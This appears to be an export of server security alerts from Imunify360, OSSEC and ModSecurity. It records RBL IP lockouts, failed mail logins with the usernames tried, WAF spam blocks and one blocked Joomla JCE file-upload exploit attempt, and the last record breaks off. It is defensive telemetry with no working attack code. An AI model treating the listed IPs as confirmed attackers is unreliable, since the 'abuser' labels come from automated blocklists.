name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.115.124
country_id: 1814991
description:
Jul 25 07:19:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.115.124 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.98.28
country_id: 1814991
description:
Jul 25 07:19:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.98.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.171.211.213
country_id: 2635167
description:
Jul 25 07:19:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.171.211.213 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.233.127.194
country_id: 2017370
description:
2026-07-25 07:19:49 dovecot_login authenticator failed for H=(h83-209-249-46.cust.bredband2.com) [94.233.127.194]:36152: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.137.119.50
country_id: 1814991
description:
Jul 25 07:19:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.137.119.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.57.200.119
country_id: 1835841
description:
Jul 25 07:19:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.57.200.119 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.115.124
country_id: 1814991
description:
2026-07-25 07:19:28 dovecot_login authenticator failed for H=([196.41.207.112]) [111.26.115.124]:54948: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jul 25 07:20:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.8.246.27
country_id: 2017370
description:
2026-07-25 07:20:15 dovecot_login authenticator failed for H=([110.14.192.20]) [46.8.246.27]:42752: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.28.165.130
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-20.104.28.165.130||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.66.155.73
country_id: 1880251
description:
Jul 25 07:21:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.66.155.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.8.246.27
country_id: 2017370
description:
Jul 25 07:20:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.8.246.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.163.215.131
country_id: 1562822
description:
Jul 25 07:21:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.163.215.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.255.170.48
country_id: 2017370
description:
Jul 25 07:22:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.255.170.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.62
country_id: 130758
description:
Jul 25 07:21:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.42.7.20
country_id: 1814991
description:
Jul 25 07:23:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.42.7.20 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.243.81.114
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-23.91.243.81.114||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 69.126.144.30
country_id: 6252001
description:
Jul 25 07:23:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 69.126.144.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.178.251.73
country_id: 3017382
description:
Jul 25 07:23:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.178.251.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.92.198.75
country_id: 2921044
description:
Jul 25 07:23:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.92.198.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.103.120.150
country_id: 1819730
description:
Jul 25 07:23:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.103.120.150 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 77.90.185.5
country_id: 130758
domain: idealloanz.com.au
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-23.77.90.185.5||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.118.192
country_id: 1562822
description:
Jul 25 07:23:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.118.192 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.103.120.150
country_id: 1819730
description:
2026-07-25 07:23:51 dovecot_login authenticator failed for H=150.120.103.218.static.netvigator.com ([198.8.91.78]) [218.103.120.150]:62213: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.126.144.30
country_id: 6252001
description:
2026-07-25 07:23:32 dovecot_login authenticator failed for H=ool-457e901e.dyn.optonline.net (customer-187-49-63-51.f1net.com.br) [69.126.144.30]:54596: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 178.20.44.140
country_id: 2017370
domain: globalgroupoman.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-24.178.20.44.140||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.61.54.90
country_id: 1814991
description:
Jul 25 07:24:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.61.54.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.220.127.123
country_id: 2921044
description:
Jul 25 07:24:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.220.127.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.131.220.133
country_id: 1835841
description:
Jul 25 07:24:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.131.220.133 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.133
country_id: 1835841
description:
2026-07-25 07:24:51 dovecot_login authenticator failed for H=(177-174-16-55.user.vivozap.com.br) [121.131.220.133]:44810: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.23
country_id: 130758
description:
Jul 25 07:24:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.164.111.251
country_id: 6252001
description:
2026-07-25 07:24:33 dovecot_login authenticator failed for H=c-174-164-111-251.hsd1.wa.comcast.net ([220.77.214.59]) [174.164.111.251]:39830: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 174.164.111.251
country_id: 6252001
description:
Jul 25 07:24:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 174.164.111.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.160.244.105
country_id: 1880251
description:
Jul 25 07:24:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.160.244.105 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.106.104.25
country_id: 1562822
description:
Jul 25 07:24:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.106.104.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.150
country_id: 1668284
description:
2026-07-25 07:25:58 dovecot_login authenticator failed for H=110-25-112-150.adsl.fetnet.net ([220.82.8.82]) [110.25.112.150]:38856: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-25 07:25:38 dovecot_login authenticator failed for H=(188-122-37-97.xdsl.5gdsl.com) [202.62.88.25]:38838: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.62.88.25
country_id: 1269750
description:
Jul 25 07:25:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.62.88.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.199.113.26
country_id: 3017382
description:
Jul 25 07:25:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.199.113.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.25.112.150
country_id: 1668284
description:
Jul 25 07:25:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.25.112.150 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.162.200.198
country_id: 6251999
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-26.23.162.200.198||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.218.17.194
country_id: 3469034
domain: elegantautomotives.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:42887.elegantautomotives.com||ServerName:elegantautomotives.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:311cc0f6113236644ef6a2ca9dacd7d60d83ac1d||Title:0x456989f8||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 196.237.198.68
country_id: 2464461
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:mpxobrpr.xml.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.9.98.210
country_id: 2921044
description:
Jul 25 07:27:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.9.98.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.28
country_id: 130758
description:
Jul 25 07:27:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.117.118
country_id: 1562822
description:
Jul 25 07:27:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.117.118 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 194.99.79.214
country_id: 1819730
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-27.194.99.79.214||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.93.208.47
country_id: 1269750
description:
Jul 25 07:27:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.93.208.47 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 82.117.225.123
country_id: 2077456
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-27.82.117.225.123||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.223.184.125
country_id: 1861060
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-27.31.223.184.125||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.254.25.63
country_id: 6252001
description:
Jul 25 07:27:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.254.25.63 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.80.230.116
country_id: 3686110
description:
2026-07-25 07:28:43 dovecot_login authenticator failed for H=([118.45.101.159]) [186.80.230.116]:49214: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 135.125.107.224
country_id: 3017382
description:
Jul 25 07:28:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 135.125.107.224 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.39.167.59
country_id: 1814991
description:
Jul 25 07:28:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.39.167.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.41.103
country_id: 1814991
description:
Jul 25 07:28:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.41.103 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.172.41.103
country_id: 1814991
description:
2026-07-25 07:28:35 dovecot_login authenticator failed for H=([24.249.199.9]) [60.172.41.103]:58649: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.39.167.59
country_id: 1814991
description:
2026-07-25 07:28:55 dovecot_login authenticator failed for H=(188-122-39-33.xdsl.5gdsl.com) [111.39.167.59]:33442: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.62.173.90
country_id: 1814991
description:
2026-07-25 07:28:19 dovecot_login authenticator failed for H=([59.177.12.54]) [111.62.173.90]:59807: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.191.157
country_id: 1819730
description:
Jul 25 07:28:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.191.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.227.186
country_id: 1814991
description:
Jul 25 07:29:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.227.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.113
country_id: 130758
description:
Jul 25 07:29:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 75.158.203.80
country_id: 6251999
description:
Jul 25 07:29:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 75.158.203.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jul 25 07:29:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.157.132.42
country_id: 1814991
description:
Jul 25 07:29:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.157.132.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.215.159
country_id: 1814991
description:
Jul 25 07:30:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.215.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.51
country_id: 130758
description:
Jul 25 07:29:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.211.98.70
country_id: 1562822
description:
Jul 25 07:30:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.211.98.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.114.125.24
country_id: 1814991
description:
Jul 25 07:30:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.114.125.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jul 25 07:31:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.28.164.225
country_id: 2921044
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-31.104.28.164.225||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.54.200.14
country_id: 1814991
description:
Jul 25 07:31:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.54.200.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.71
country_id: 130758
description:
Jul 25 07:31:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.139.165.143
country_id: 1880251
description:
Jul 25 07:31:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.139.165.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 150.95.27.209
country_id: 1861060
description:
Jul 25 07:31:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 150.95.27.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.25.97.85
country_id: 1562822
description:
Jul 25 07:31:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.25.97.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.59.167.172
country_id: 2635167
description:
Jul 25 07:31:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.59.167.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 163.172.60.23
country_id: 3017382
description:
Jul 25 07:32:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 163.172.60.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.196.37.197
country_id: 1814991
description:
Jul 25 07:32:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.196.37.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.105.128.185
country_id: 1814991
description:
Jul 25 07:32:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.105.128.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.167.58
country_id: 6252001
description:
Jul 25 07:32:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.167.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.56
country_id: 2017370
description:
2026-07-25 07:33:41 dovecot_login authenticator failed for H=(85-18-115-154.ip.mob-sol.it) [178.178.222.56]:40260: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.88.56.201
country_id: 6252001
description:
Jul 25 07:33:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.88.56.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.130.76.154
country_id: 1814991
description:
Jul 25 07:34:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.130.76.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.210.164.158
country_id: 1210997
description:
2026-07-25 07:33:52 dovecot_login authenticator failed for H=([106.246.89.73]) [180.210.164.158]:51614: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.250.200.4
country_id: 2245662
description:
Jul 25 07:33:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.250.200.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.9.98.210
country_id: 2921044
description:
Jul 25 07:33:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.9.98.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.222.56
country_id: 2017370
description:
Jul 25 07:33:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.222.56 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.210.164.158
country_id: 1210997
description:
Jul 25 07:33:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.210.164.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.242.203
country_id: 1814991
description:
Jul 25 07:33:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.242.203 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.199.84.109
country_id: 1819730
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-35.91.199.84.109||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.163.8.64
country_id: 1814991
description:
Jul 25 07:34:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.163.8.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 108.174.146.197
country_id: 3469034
description:
Jul 25 07:34:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 108.174.146.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.7
country_id: 130758
description:
Jul 25 07:34:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.117.118
country_id: 1562822
description:
Jul 25 07:34:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.117.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.99.240.181
country_id: 2921044
description:
Jul 25 07:34:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.99.240.181 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 149.34.251.245
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-36.149.34.251.245||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 109.61.127.135
country_id: 1835841
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-35.109.61.127.135||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.171.211.213
country_id: 2635167
description:
Jul 25 07:35:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.171.211.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.90.234.245
country_id: 1282988
description:
Jul 25 07:35:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.90.234.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.42
country_id: 130758
description:
Jul 25 07:35:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.106.223.170
country_id: 1814991
description:
Jul 25 07:35:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.106.223.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 25 07:35:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.152.165.117
country_id: 1562822
description:
Jul 25 07:36:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.152.165.117 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.33.249.217
country_id: 1814991
description:
Jul 25 07:36:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.33.249.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.165.126.207
country_id: 1269750
description:
Jul 25 07:36:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.165.126.207 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.146.129.133
country_id: 1814991
description:
Jul 25 07:36:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.146.129.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.210.27.53
country_id: 1814991
description:
